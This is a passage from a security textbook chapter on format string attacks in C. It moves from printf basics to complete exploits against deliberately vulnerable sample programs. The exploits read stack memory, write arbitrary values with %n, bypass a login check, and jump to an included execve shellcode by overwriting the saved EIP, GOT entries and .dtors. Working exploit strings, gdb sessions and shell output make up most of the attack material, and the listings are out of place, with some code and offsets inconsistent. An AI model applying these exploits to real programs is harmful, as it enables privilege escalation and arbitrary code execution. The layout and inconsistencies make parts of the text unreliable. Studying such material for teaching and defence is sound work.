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Chapter 9 
 
 

Format string attacks 
 
 
 
 
There are many types of programming errors. The majority of them result 
from insufficient verification of the size of the buffer on which the operations 
are executed. These errors have been known for many years and the 
frequency with which they are found decreases every day. Buffer overflow 
errors allow hackers to obtain the privileges of the user who started up the 
buggy application. Many methods of protection against them have been 
created. Recently a new type of attack has been discovered, connected with 
the incorrect use of the functions that format the character sequences. 
Attacks of this kind are called format string attacks. There is no way to secure 
ourselves against them. They are therefore considered to be among the most 
dangerous attacks. 
 
What is a format string? 
 
Every C programmer uses the printf() function. It prints text to the screen. It 
also allows the information displayed to be modified using variables. With it 
we can print int, char, or long variables to the screen. Below is a simple 
example of its use (/CD/Chapter9/Listings/fm.c). 
 
#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        char c = '1'; 
        int i = 10; 
        long l = 100; 
        double d = 100.00; 
         
        printf("%c %d %ld %f\n", c, i, l ,d); 
         
        return 0; 
}  
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At the beginning our program declares a few variables of different types and 
assigns them specific values. Then it calls the print() function using the 
appropriate parameters. It is these parameters that are of most interest to us. 
Let’s have a look at the first of them: 
 
a) "%c %d %ld %f\n” – The first parameter of the printf() function is the 
format string. It is a simple character sequence containing information about 
which data to print on the screen. The function checks if there are specific 
tags in it. If there are, it changes them into specific values. In our example we 
used the following formatting tags: 

- %c – A char variable is “pasted” here. 
- %d – Enters an int variable. 
- %d – Enters a long int variable. 
- %d – Enters a double variable. 

 
b) c – This is our char variable. Its value will be placed within the text. 
 
c) i – The int variable will be included in the printed information. 
 
d) 1 – The long variable will be placed in the %ld location in the format 
string. 
e) d – The double variable is handled in the same way as the previous 
variables. 
 
All the types of formatting tags are described in detail in the system manual: 
 

 
We know now what the purpose of the printf() function is and how to call it. 
It’s time to discover how it really works. As the reader has probably already 
noticed, it is possible to transfer an unlimited number of arguments to this 
function. This is possible by using the va_list function. A sample application 

bash-2.05b$ gcc -o fm fm.c 
bash-2.05b$ ./fm 
1 10 100 100.000000 
bash-2.05b$ 

bash-2.05b$ man 3 printf 
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and a detailed description of va_list can be found in the section of the manual 
dealing with the “man stdarg” file header: 
 

 
Using the first parameter, which is the format string, the function determines 
how many others there are. Then it checks in sequence if there are any 
formatting characters in the string. If it finds any, it collects the first value 
from the top of the stack, converts it into an appropriate type, and then 
attaches it to the target information to be printed. Therefore, by calling the 
printf() function, the program begins by putting all the parameters 
transferred to it onto the stack. The number of formatting tags should be 
equal to the quantity of transferred variables to be printed. This is not, 
however, a condition necessary for the function. 
 
Incorrect use of the printf() function 
 
Let’s see what will happen if we transfer only the format string to the printf() 
function, without any remaining parameters 
(/CD/Chapter9/Listings/fm2.c). 
 

 

 
When the printf() function was called, our program did not put our variables 
to be printed onto the stack. The function collected the data that were on the 
top of the stack. First from the top was the “ź” character, then the numbers 

bash-2.05b$ man stdarg 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        char c = '1'; 
        int i = 10; 
        long l = 100; 
        double d = 100.00; 
         
        printf("%c %d %ld %f\n"); 
         
        return 0; 
}  

bash-2.05b$ gcc -o fm2 fm2.c 
bash-2.05b$ ./fm2 
ź -1073742696 134513675 100.000000 
bash-2.05b$ 
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1073742696 and 134513675. The variable “double d” was on the stack after 
them and it was possible to print it correctly. Let’s take a look at a similar 
example (/CD/Chapter9/Listings/fm3.c). 
 

 
This time we will enter the format string as the first program parameter. We 
can choose the content of the first parameter of the printf() function for 
ourselves. This is definitely an error, and we exploit it in a format string 
attack. We’ll start by compiling our program and running it using the 
parameter in the following example: 
 

 
It seems that everything is OK. We will, however, attach the following 
formatting tags to the string: 
 

 
Instead of the first parameter, the program prints the character sequence that 
has already been processed. Thanks to this we are able to read the program 
memory down to the bottom of the stack. As we can see our last %x read the 
value 41414141 from the stack; in other words, the characters AAAA. So 
which benefits can reading the memory bring us? In practice, not many. If we 
are lucky we might come across some interesting data, such as passwords to 
the programs that we cannot debug by ourselves. It would be good if we could 
find a way to write to memory.  
 
 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        char buf[64]; 
        strncpy(buf, argv[1], 64); 
         
        printf(argv[1]); 
         
        return 0; 
}  

bash-2.05b$ gcc -o fm3 fm3.c 
bash-2.05b$ ./fm3 "Jane has a cat" 
Jane has a cat 

bash-2.05b$ ./fm3 AAAA-%x-%x-%x-%x 
AAAA-bffffde7-40-4012a010-41414141 
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For now, let’s try to change the string content that we enter to the program: 
 

 
We have managed to cause the unexpected closure of the program. The only 
thing that we did was change of the last %x tag into the %n tag. Let’s stop to 
think what this is for. 
 
Use of the %n tag 
 
The %n tag differs slightly from the others. It does not convert any variables 
into a specific type. Its task is to write the number of characters printed till 
now within the int variable. Its argument is the pointer to the int variable 
within which it will write the data. We will now have a look at an example of 
its function below (/CD/Chapter9/Listings/test.c): 
 

 
The %n tag is placed after 10 characters of the format string. 
 

 
The number 10 has thus been written precisely within the int variable. 
 
But let’s turn back to the example from the previous section. When we 
entered %x as the last tag the program printed number 41414141 on the 
screen. Changing it into the %n tag, we ordered the program to write the 
number of printed characters under the address 41414141. This address does 

bash-2.05b$ ./fm AAAA-%x-%x-%x-%n 
Violation of memory protection 
bash-2.05b$ 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        int i = 0; 
        printf("1234567890%n1234567890\n", &i); 
        printf("%d\n", i); 
         
        return 0; 
}  

bash-2.05b$ gcc –o test test.c 
bash-2.05b$ ./test 
12345678901234567890 
10 
bash-2.05b$ 
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not belong to the space of the process address, therefore the program crashes. 
As we have already mentioned, the value 41414141 is the AAAA that we 
transferred at the beginning of the format string. Instead of AAAA we could 
transfer another string, for example the address of some important variable. 
We know already that it is possible to write to any address in the program 
memory. So let’s take advantage of this feature of the %n tag. 
 
Below is an example of a program containing format string errors 
(/CD/Chapter9/Listings/fs.c): 
 

 
bash-2.05b$ gcc -o fs fs.c 
bash-2.05b$ ./fs "Jane has a cat" 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
Jane has a cat 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
bash-2.05b$ 

 
The program prints the information about the content and the address of the 
int i variable. Then the program prints the parameter transferred to it, 
wrongly using the printf() function for this purpose. Before ending, it prints 
the value and the address of the int i variable once again. Our task will be to 
write any value within the i variable while using the %n tag. We start up our 
program with the characters AAAA at the beginning of the format string and 
we add to it as many %x as necessary in order to “dig down” to the beginning 
of the string: 
 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        char buf[64]; 
        int i = 0; 
        strncpy(buf, argv[1], 64); 
        printf("i variable has the value 0x%x, its address in memory is 0x%x\n”,i,&i);   
        printf(buf); 
        printf("\ni variable has the value 0x%x, its address in memory is 0x%x\n",i, &i); 
        return 0; 
} 

bash-2.05b$ ./fs AAAA-%x-%x-%x-%x-%x-%x-%x-%x 
The i variable has the value 0x0, its address in memory is 0xbffffc2c 
AAAA-0-bffffc2c-4012a010-40128620-bffffc34-40032ed5-0-41414141 
The i variable has the value 0x0, its address in memory is 0xbffffc2c 
bash-2.05b$ 
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We have to enter eight %x to find 41414141. Instead of using the AAAA-%x-
%x-%x-%x-%x-%x-%x-%x record we can also use AAAA-%8$x. This means 
the eighth value on the stack, or 41414141. The $ character, however, has a 
special meaning in the bash shell, therefore to transfer such an argument we 
will use the echo program using the -e parameter. This parameter switches on 
the interpreting of special character sequences (such as “\n”; that is, the 
character representing a new line), while printing others unchanged. 
 

 
We want to write data under the address 0xbffffc3c; the location where our 
variable i is. We therefore have to write this address in the form of a character 
chain and substitute it with the AAAA sequence. We do this from the end as 
follows: “\x3c\xfc\xff\xbf” 
 

 
As we can see, instead of “AAAA-41414141” the program has printed the 
sequence “<ü˙ż-bffffc3c.” The first four characters have the same ASCII code 
as our bffffc3c address. Each of them has a value greater then 128, and 
therefore they are presented in the form <ü˙ż. As the parameter for the %x 
tag, we managed to transfer the address of the variable to which we want to 
write. Now we need to change %x to %n: 
 

 
We did it! We wrote the value 5 to the i variable, which corresponds to the 
length of the address plus the “-” character. But let’s stop and think what we 

bash-2.05b$ ./fs `echo -e 'AAAA-%8$x'` 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
AAAA-41414141 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
bash-2.05b$ 

bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%8$x'` 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
<ü˙ż-bffffc3c 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
bash-2.05b$ 

bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%8$n'` 
The i variable has the value 0x0, its address in memory is 0xbffffc3c 
<ü˙ż- 
The i variable has the value 0x5, its address in memory is 0xbffffc3c 
bash-2.05b$ 
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have to do if we want to write a bigger value to the variable. We cannot 
transfer thousands of characters to the program parameter because the glibc 
library does not allow this. We can, however, use the features of the printf() 
function that allow us to transfer information about the number of empty 
fields that have to be printed within tags. Let’s try, for example, to write the 
number 1000 within the i variable: 
 

 
We use for this the additional %994x tag that prints 994 empty characters on 
the screen. The six remaining ones are our address and two “-” characters. 
One thousand is not, however, a terribly big number. Let’s assume that we 
want to write into the int i variable the value 0x88664422. To discover how 
much 0x88664422 is in the decimal system, we will use the “calc” program. 
 

 
Let’s try to transfer the %2288403490x tag within the format string. As we can 
see, empty characters are being printed on the screen the whole time. It is 
unlikely that this process will terminate for several hours. It is therefore not a 
good idea to write a very big value using the %n tag. The int variable is 4 bytes 
in length. We can write data to every byte. In order to write within it the 
0x88664422 value we will have to write 0x88 within its last byte, 0x66 within 
the second last, then 0x44 and 0x22 at the beginning. We have to know four 
addresses that will be used by four successive %n tags.  
 
 
 

bash-2.05b$ ./fs `echo -e '\x3c\xfc\xff\xbf-%994x-%8$n'` 
The i variable has the value 0, its address in memory is 0xbffffc3c 
<ü˙ż-                              0- 
The i variable has the value 0x3e8, its address in memory is 0xbffffc3c 
bash-2.05b$ 

bash-2.05b$ calc 
C-style arbitrary precision calculator (version 2.11.10.1) 
Calc is open software. For license details type:  help copyright 
[Type "exit" to exit, or "help" for help.] 
 
; 0x88664422 
  2288403490 
; 
bash-2.05b$ 
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These will be successive addresses, beginning from the pointer of the int i 
variable, thus: 
 

 
These will constitute the beginning of the format string:  
 

 
The 0x22 number is 34 in the decimal system. The length of our addresses 
taken together is 16. We therefore subtract the number 16 from 34, and we 
still have to print 18 characters to reach 0x22. To do this we will use the %18x 
tag. Immediately after it we will add the %8$n tag, which will write data to the 
variable: 
 

 
The address of the int i variable in memory has changed; therefore, we have 
to change the affected fields in the addresses into the correct ones. As we can 
see, we have managed to write the first byte. Now it’s time for the rest. The 
difference between 0x22 and 0x44 is 34 (just as between 0x44 and 0x66, etc.). 
We therefore have to print 34 characters on the screen before using the next 
%n tag, in order to write a number that is greater by 34 to the next byte. After 
entering in the appropriate address the number 0x22 we print as many 
characters as needed to cause the sum of them all to be 0x44 (that is, 34). 
Only then we can use the next %n tag, which will write the number 0x44 to a 
specific address. We repeat this process as many times as needed until we 
write the last byte, 0x88. Each time we increase the number next to %n by one 
in such a way that it writes in the next address (that is, in the next byte of the 
int i variable). We therefore append “%34x%9$n%34x%10$n%34x%11$n” to 
our format string.  
 

&i = 0xbffffc3c 
&i+1 = 0xbffffc3d 
&i+2 = 0xbffffc3e 
&i+3 = 0xbffffc3f 

\x3c\xfc\xff\xbf\x3d\xfc\xff\xbf\x3e\xfc\xff\xbf\x3f\xfc\xff\xbf 

bash-2.05b$ ./fs `echo -e 
'\x2c\xfc\xff\xbf\x2d\xfc\xff\xbf\x2e\xfc\xff\xbf\x2f\xfc\xff\xbf%18x%8$n'` 
The i variable has the value 0x0, its address in memory is 0xbffffc2c 
,ü˙ż-ü˙ż.ü˙ż/ü˙ż                 0 
The i variable has the value 0x22, its address in memory is 0xbffffc2c 
bash-2.05b$ 
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Let’s check if everything is working correctly: 
 

 
As we can see, the address of the int i variable has changed again. We must 
therefore update the addresses in the string. We managed to write the value 
0x88664422 in the target location in memory. But what will happen if the 
bytes we want to write become successively smaller and smaller? We will 
therefore try to write the value 0x22446688 in the int i variable. We should 
remember that the bytes of the variables in the x86 architecture are written in 
reverse order. So if we find in memory the 0x88664422 byte sequence and we 
assign it to the int variable, it will have the value 0x22446688. The following 
simple program illustrates this (/CD/Chapter9/Listings/fm4.c). 
 

 

 
This is probably proof enough. So, in order that our variable will have the 
value 0x22446688 we have to write the bytes 0x88, 0x66, 0x44, and 0x22 in it 
in sequence. This process will look something like this: 

bash-2.05b$ ./fs `echo -e 
'\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf%18x%8$n%34x%9$n%34x%10
$n%34x%11$n'` 
The i variable has the value 0x0, its address in memory is 0xbffffc0c 
 
ü˙żü˙żü˙ż                 0                          bffffc0c                          
4012a01040128620 
The i variable has the value 0x88664422, its address in memory is 0xbffffc0c 
bash-2.05b$ 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        char *test = "\x88\x66\x44\x22"; 
        int *i = (int*) test; 
        printf("0x%x\n", *i); 
        return 0; 
}  

bash-2.05b$ gcc -o fm4 fm4.c 
bash-2.05b$ ./fm 
0x22446688 
bash-2.05b$ 

      0x00000088  - Last byte 
    0x00000066    - Third byte 
  0x00000044      - Second byte 
0x00000022        - First byte 
------------------ 
      0x22446688 
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As we can see, the expression “successive byte in memory” does not mean a 
successive byte of the variable. As usual, at the beginning we have to transfer 
four addresses to which we will be writing. 
 

 
Then it is necessary to print 0x88 – 16 characters, that is 120. Such 
calculations can be done easily with the calc program: 
 

 
In the subsequent step we place the %n tag to write the value. We have 
already printed the 0x88 characters to the screen. The next byte we want to 
write is 0x66, that is 102. It will be difficult to delete the characters that have 
been already printed. At the same time, we have to find a way to write the 
0x66 byte only once, as it is the last byte of the number we are writing. To do 
this we can write the number 0x00000166, through which we will obtain the 
same result. In order to discover how many bytes we still have to print, we 
subtract from the target number the number we have recently printed: 
 

 
The successive part of the string will be %222x. We repeat this step for the 
next fragments of the target address. 
 

 
Having this information we now know how the part of the string following 
the addresses “120x%8$n%222x%9$n%222x%10$n%222x%11$n” should 
look.  
 
 
 

\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf 

; 0x88 - 16  
        120 

; 0x00000166 - 0x88 
        222 

; 0x00000144 - 0x66       
        222 
; 0x00000122 - 0x44 
        222 
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We will now check to see if this will work: 
 

 
Everything has gone according to plan. We are now able to write any value 
under any memory address. Let’s see which advantages it can bring to us. 
 
Practical use of the format string error 
 
In our last example, overwriting the int i variable did not give us any benefits 
in practice. But let’s have a look at the program below 
(/CD/Chapter9/Listings/fm5.c): 
 

        

bash-2.05b$ ./fs `echo -e 
'\x0c\xfc\xff\xbf\x0d\xfc\xff\xbf\x0e\xfc\xff\xbf\x0f\xfc\xff\xbf%120x%8$n%222x%9$n%222x
%10$n%222x%11$n'` 
 
The i variable has the value 0x0, its address in memory is 0xbffffc0c 
 
ü˙żü˙żü˙ż       0                                                                                                     
bffffc0c                                                                                 
4012a010                                                             40128620 
The i variable has the value 0x22446688, its address in memory is 0xbffffc0c 
bash-2.05b$ 

#include <stdio.h> 
#include <stdlib.h> 
 
#define LOGIN "secret_login" 
#define PASSWORD "secret_password" 
 
int main(int argc, char *argv[]) 
{ 
        int ok = 0; 
        char login[16]; 
        char password[16]; 
         
        strncpy(login, argv[1], 16); 
        strncpy(password, argv[2], 16); 
         
        printf("Trying to login the user "); 
        printf(login); 
 
if(!strcmp(login, LOGIN) &&!strcmp(password, PASSWORD)) 
        ok = 1; 
                 
        if(ok) 
        { 
                printf("\nYou have logged in successfully!!\n"); 
                execl("/bin/sh", "sh", NULL); 
        } 
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        else 
                printf("\nWrong login or password!!\n"); 
                 
        return 0; 
} 

     
It is used to log the users into the system. The arguments of the command 
line are used to transfer the login and the password. If the password is 
correct, the int ok variable is set to 1, which means that the user has been 
logged in successfully. In this case a new shell is started up. If the user enters 
an incorrect password, the message about the wrong login is displayed. But 
the code for the above program contains a serious error: 
 

 
Instead of using the printf() function once, with the %s tag in the format 
string, the programmer decided to call it for the second time to print the 
login. Just by looking, you can see he did this incorrectly. We will now 
compile the above program with the -ggdb parameter. This will be useful for 
us when debugging later. 
 

 
Next, we start up our program with the correct login and password: 
 

 
We will want to achieve exactly this without knowing the password, through 
use of the format string error. Let’s try therefore to transfer some %x as a 
login, and AAAA as a password. 
 

printf("Trying to login the user "); 
printf(login); 

bash-2.05b$ gcc -o fm5 fm5.c -ggdb 

bash-2.05b$ ./fm5 secret_login secret_password 
Trying to login the user secret_login 
You have logged in successfully!! 
sh-2.05b$ exit 
exit 
bash-2.05b$ 

bash-2.05b$ ./fm5 %x-%x-%x-%x AAAA 
Trying to login the user bffffdf3-10-3-41414141 
Wrong login or password!! 
bash-2.05b$ 
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Four %x will be enough to reach the location in which the transferred 
password, 41414141, is written. In order for the program to assume that we 
are logged in, we have to overwrite the int ok variable with a value different 
from 0. For this purpose we have to know its address in memory, which 
unfortunately the program under attack does not show. We will have to use 
gdb once again to determine it: 
 

 
If we did not compile the program with the -ggdb parameter, the 
determination of the address of the variable would not be so easy (but not 
impossible). Now it is enough to give the program the address of the int ok 
variable instead of AAAA (0xbffffc4c) and to change the last %x into %n. 
 

 
As we can see, everything has worked out. In some cases the variable address 
can differ slightly from that shown by gdb, due to changes in the program 
environment.  
 

bash-2.05b$ gdb fm 
GNU gdb 6.1.1 
Copyright 2004 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "--host= --target=i686-pld-linux"...Using host libthread_db 
library "/lib/libthread_db.so.1". 
 
(gdb) break main 
Breakpoint 1 at 0x8048454: file fm5.c, line 9. 
(gdb) run %x-%x-%x-%x AAAA 
Starting program: /home/users/dave/fm5 %x-%x-%x-%x AAAA 
 
Breakpoint 1, main (argc=3, argv=0xbffffcb4) at fm5.c:9 
9               int ok = 0; 
(gdb) print &ok 
$1 = (int *) 0xbffffc4c 
(gdb) 

bash-2.05b$ ./fm5 %x-%x-%x-%n `echo -e '\x4c\xfc\xff\xbf'` 
Trying to login the user bffffdf3-10-3- 
You have logged in successfully!! 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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The best solution to this problem will be to add the following line to the 
program code: 
 

 
The address of the variable in the target application under attack should be 
exactly the same. GDB is, however, the best solution in the event we do not 
have the source of the application containing the bug. 
 
What would, however, happen if the int ok variable did not exist, and the 
program started up the shell immediately after checking the correctness of 
the password using strcmp()? This would not be tragic. There exist many 
locations in the program where overwriting can give us the desired benefits. 
 
Using shellcodes 
 
Each program is loaded into memory after starting up. Next, the processor 
begins the execution from a specific address and passes through all the 
instructions in sequence. These instructions can be written in the form of a 
character sequence (string). This representation of the processor instructions 
in the form of a string is called a shellcode. Its creation has been described in 
detail in the chapter on buffer overflow. We will use the following program to 
perform format string attacks using a shellcode 
(/CD/Chapter9/Listings/fm6.c): 
 
#include <stdio.h> 
 
char shellcode[] = 
        "\x31\xc0"                 /* xorl   %eax,%eax    */ 
        "\x50"                     /* pushl  %eax         */ 
        "\x68\x2f\x2f\x73\x68"     /* pushl  $0x68732f2f  */ 
        "\x68\x2f\x62\x69\x6e"     /* pushl  $0x6e69622f  */ 
        "\x89\xe3"                 /* movl   %esp,%ebx    */ 
        "\x50"                     /* pushl  %eax         */ 
        "\x53"                     /* pushl  %ebx         */ 
        "\x89\xe1"                 /* movl   %esp,%ecx    */ 
        "\x31\xd2"                 /* xorl   %edx,%edx    */ 
        "\xb0\x0b"                 /* movb   $0xb,%al     */ 
        "\xcd\x80";                /* int    $0x80        */ 

 
#include <stdio.h> 
int main(int argc, char *argv[]) 

 

        printf("0x%x\n", &ok); 
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{ 
        char buf[64]; 
        strncpy(buf, argv[1], 64); 
        printf(argv[1]); 
        printk("\nFinished\n"); 
        return 0; 
}  

 
Our task will be to jump from the main() function into the shellcode, which 
will start the shell for us. We can also transfer the shellcode as an argument of 
the command line. However, to make the task easier and to better explain 
what is occurring, we will place it in the program code, as above. Now we 
have to find the locations within the program whose overwriting will allow us 
to perform the jump into the shellcode. One of these locations is the copy of 
the EIP register. 
 
Overwriting the EIP copy 
 
The processor incorporates memory divided into registers. One of them is the 
EIP register. It includes the addresses of instructions that are currently being 
performed. We will now compile our program and will check it with gdb: 
 

 
At the very beginning we set up the breakpoint at the address 0x80483ea. This 
means that the program should stop running when it comes to the 
instruction under this address. When the program stops functioning we print 
the information on the EIP register using the “info reg eip” command. This 
displays the address 0x80483ea, which is where we the program stopped 

bash-2.05b$ gcc -o fm6 fm6.c 
bash-2.05b$ gdb fm 
GNU gdb 6.1.1 
Copyright 2004 Free Software Foundation, Inc. 
.... 
This GDB was configured as "--host= --target=i686-pld-linux". 
(gdb) break main 
Breakpoint 1 at 0x80483ea 
(gdb) r "Jane has a cat" 
Starting program: /home/users/dave/fm6 
 
Breakpoint 1, 0x080483ea in main () 
(gdb) info reg eip 
eip            0x80483ea        0x80483ea 
(gdb) 
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executing. Using the request “nexti” we can see the program performing the 
instructions under the successive addresses. 
 
As mentioned, at the beginning we set up the breakpoint at the address 
0x80483ea. 
 

 
Each time the EIP address indicates the performed operation. Theoretically, 
we could therefore write the address to our shellcode in the EIP register, and 
it would execute itself. However, the EIP register does not have an address; it 
belongs to the processor memory, and not to the computer memory. We 
cannot, therefore, write values to it like we did with the program variables. 
However, during execution our program saves a copy of this register on the 
stack. It always does this when it wants to call a specific function. When the 
processor finds the “call” instruction that executes the function with a specific 
address, it saves this “frame” on the stack and includes a copy of the EIP and 
EBP registers. Because of this, after returning from the function, the program 
can start the execution from the location where it left off. To display the 
information on the frame we give the command “info frame”: 
 

 
We see that the main() function possesses a frame in which there is a copy of 
the EIP register under the address of 0xbffffc6c. The value of this copy is 
0x400330b2, the address originating from the libc library. Instead of 

(gdb) nexti 
0x080483ed in main () 
(gdb) nexti 
0x080483f2 in main () 
(gdb) nexti 
0x080483f4 in main () 
(gdb) nexti 
0x080483fc in main () 
(gdb) info reg eip 
eip            0x80483fc        0x80483fc 
(gdb) 

(gdb) info frame 
Stack level 0, frame at 0xbffffc70: 
 eip = 0x80483ea in main; saved eip 0x400330b2 
 Arglist at 0xbffffc68, args: 
 Locals at 0xbffffc68, Previous frame's sp is 0xbffffc70 
 Saved registers: 
  ebp at 0xbffffc68, eip at 0xbffffc6c 
(gdb) 
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returning to libc after finishing main() we can also jump to our shellcode. 
Let’s try to change the value of the EIP copy into the shellcode address with 
the use of the gdb program. 
 

 
This was not a big problem and after finishing the main() function we 
jumped to the shellcode, which in turn called the shell. We will now try to do 
exactly the same thing without using gdb. At the beginning we have to 
determine the address of our shellcode. For this purpose we will use also gdb: 
 

 
Fortunately, the address 0x80496ac is constant. With it we will overwrite the 
copy of the EIP register. The beginning of our format string will be the 
addresses in which there are the appropriate bytes of the copy of the EIP 
register. These are, in sequence, 0xbffffc6c, 0xbffffc6d, 0xbffffc6e, and 
0xbffffc6f. Our format string will therefore begin like this: 
 

 
Next, we have to print 0xac – 16 characters (that is, 156). Then, we write the 
data using %n and calculate the subsequent number that it will be necessary 
to enter with %x: 
 

         
Value 0x96 is less than 0xac so we change it to 0x196. Finally, let's calculate 
last two bytes of our address. 
 

(gdb) set *0xbffffc6c=&shellcode 
(gdb) c 
Continuing. 
Jane has a cat 
End 
sh-2.05b$ exit 
exit 
 
Program exited normally. 
(gdb) 

(gdb) print &shellcode 
$1 = (<data variable, no debug info> *) 0x80496ac 

"\x6c\xfc\xff\xbf\x6d\xfc\xff\xbf\x6e\xfc\xff\xbf\x6f\xfc\xff\xbf" 

; 0x196 - 0xac 
        234 

; 0x0104 - 0x96 
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110 
; 0x08 - 0x04 
        4 
;  

 
We have had to jump from a bigger byte to a smaller one only once. What 
remains is to determine in which location from the top on the stack our 
address will be placed. 
 

 
As we can see, it is the fourth place, therefore the first tag to write will be 
%4$n. The last two bytes that we have to overwrite differ by only 4, so we can 
easily add four additional characters to the string. The data to be found after 
the addresses will look like this: 
 

 
Everything is running according to our earlier calculations. We now check to 
see if it has worked: 
 

 
We have just overwritten a fully operational exploit by using a format string 
error. What do we do if our program takes so long that we would have to wait 
many days to finish the main() function? We will now show that there is a 
way to start up the shellcode before the function terminates. 
 
 
 
 
 

bash-2.05b$ ./fm6 AAAA-%x-%x-%x-%x 
AAAA-bffffde7-40-4012a010-41414141 
End 
bash-2.05b$ 

%156x%4$n%234x%5$n%110x%6$n----%7$n 

bash-2.05b$ ./fm6 `echo -e 
'\x6c\xfc\xff\xbf\x6d\xfc\xff\xbf\x6e\xfc\xff\xbf\x6f\xfc\xff\xbf%116x%4$n%18x%5$n%110x%
6$n----%7$n'`  
lü˙ mü˙ nü˙ oü˙    bffffdca                40          4012a010---- 
End 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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Overwriting the GOT section 
 
Each complex program written in C is divided into sections. Each of these 
sections stores data of a different kind. For example the .text section is used to 
store the program code and the .data section is used to store the initiated 
data. We can display all of them using the command: 
 

 
This information tells us in which section we can write and in which we 
cannot (READONLY). The GOT section (Global Offset Table) is used when 
calling external functions of the libc library. To display its content we will use 
the objdump program: 
 

 
 

bash-2.05b$ objdump -h fm6 
 
fm6:     file format elf32-i386 
 
Sections: 
Idx Name          Size      VMA       LMA       File off  Algn 
  0 .interp       00000013  08048134  08048134  00000134  2**0 
                  CONTENTS, ALLOC, LOAD, READONLY, DATA 
  1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2 
                  CONTENTS, ALLOC, LOAD, READONLY, DATA 
  2 .hash         00000030  08048168  08048168  00000168  2**2 
                  CONTENTS, ALLOC, LOAD, READONLY, DATA 
  3 .dynsym       00000070  08048198  08048198  00000198  2**2 
                  CONTENTS, ALLOC, LOAD, READONLY, DATA 
  4 .dynstr       00000068  08048208  08048208  00000208  2**0 
  .... 
  .... 
  18 .dynamic      000000c8  08049594  08049594  00000594  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 
  19 .got          00000004  0804965c  0804965c  0000065c  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 
  20 .got.plt      00000018  08049660  08049660  00000660  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 
  21 .data         00000028  08049678  08049678  00000678  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 
  22 .bss          00000004  080496a0  080496a0  000006a0  2**2 

bash-2.05b$ objdump -R fm6 
 
fm6:     file format elf32-i386 
 
DYNAMIC RELOCATION RECORDS 
OFFSET   TYPE              VALUE  
0804965c R_386_GLOB_DAT    __gmon_start__ 
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0804966c R_386_JUMP_SLOT   __libc_start_main 
08049670 R_386_JUMP_SLOT   printf 
08049674 R_386_JUMP_SLOT   strncpy 

 
With the above information, we can begin the attack. When we overwrite the 
address corresponding to the puts() function (here 0x0804968c) with the 
address of our shellcode, it will be called instead of this function. Our 
program in the example uses the function once again at the very end to print 
“End” on the screen. Overwriting a specific pointer, the puts() function, 
instead of printing, will start up the shell. We will now check to see if it will 
work. For testing, gdb is an obvious choice. 
 

 
Our exploit will look exactly the same as it did in overwriting the copy of the 
EIP register. We have only to enter new addresses to which we will write. The 
shellcode address has not changed, so we do not have to calculate the number 
of characters to be printed all over again. The beginning of our format string 
therefore consists of four successive addresses: 
 

 
To this we add the rest of the string, as in the previous attack (exploit-got-
fm6.sh). 
 

bash-2.05b$ gdb fm6 
GNU gdb 6.1.1 
Copyright 2004 Free Software Foundation, Inc. 
.... 
This GDB was configured as "--host= --target=i686-pld-linux". 
(gdb) break main 
Breakpoint 1 at 0x80483ea 
(gdb) r "Jane has a cat" 
Starting program: /home/users/dave/fm6 "Jane has a cat" 
 
Breakpoint 1, 0x080483ea in main () 
(gdb) set *0x0804968c=&shellcode 
(gdb) c 
Continuing. 
sh-2.05b$ exit 
exit 
 
Program exited normally. 
(gdb) 

„\x8c\x96\x04\x08\x8d\x96\x04\x08\x8e\x96\x04\x08\x8f\x96\x04\x08” 
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We should remember that if the addresses in the system being used are 
different, it will be necessary to enter the changes in the format string 
individually; otherwise the exploit will not give the expected results. We have 
managed to exploit the program before the main() function closed. What’s 
more, there is one more often overwritten section that is definitely worth 
knowing about. 
 
Overwriting the DTORS section 
 
Each program written in the C language possesses constructor and destructor 
functions. The constructor function is executed even before the main() 
function. The pointer for this function is located in the .ctors section of the 
program, whereas the pointers for the destructor function are written in the 
.dtors section. They are executed as the final functions of a program, just 
before it closes. To display the content of .dtors we will use the objdump 
program as usual: 
 

  
The first information is the address at which the .dtors section is located. 
Next, ffffffff is the value from which the section begins. The field is called 
__DTOR_LIST__. In sequence, as we can see, the zero bytes are found. At the 
end of the pointer list is the destructor function __DTOR_END__. While 
ending the action the program performs all the functions that are located 
between these two fields. As we can see, our program does not possess a 
destructor function. If, however, we placed a shellcode pointer there, it would 
start up immediately before the program ended.  
 

bash-2.05b$ ./fm `echo -e 
‘\x8c\x96\x04\x08\x8d\x96\x04\x08\x8e\x96\x04\x08\x8f\x96\x04\ 
x08%156x%4$n%234x%5$n%110x%6$n----%7$n’` 
sh-2.05b$ exit 
exit 
bash-2.05b$ 

objdump -s -j .dtors fm6 
 
fm6:     file format elf32-i386 
 
Contents of section .dtors: 
 80495a8 ffffffff 00000000                    ........  
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We will first check if we can write to the .dtors section: 
 

 
Nowhere does “READONLY” appear, which means that we can write to it 
freely. Now, let’s check under which addresses the beginning and the end of 
the destructor list is located. 
 

 
These are 0x080495a8 and 0x080495ac. In this case, there is no free space 
between them. Theoretically we cannot add our own pointer here. However, 
in ending the action, the program starts to run the functions beginning from 
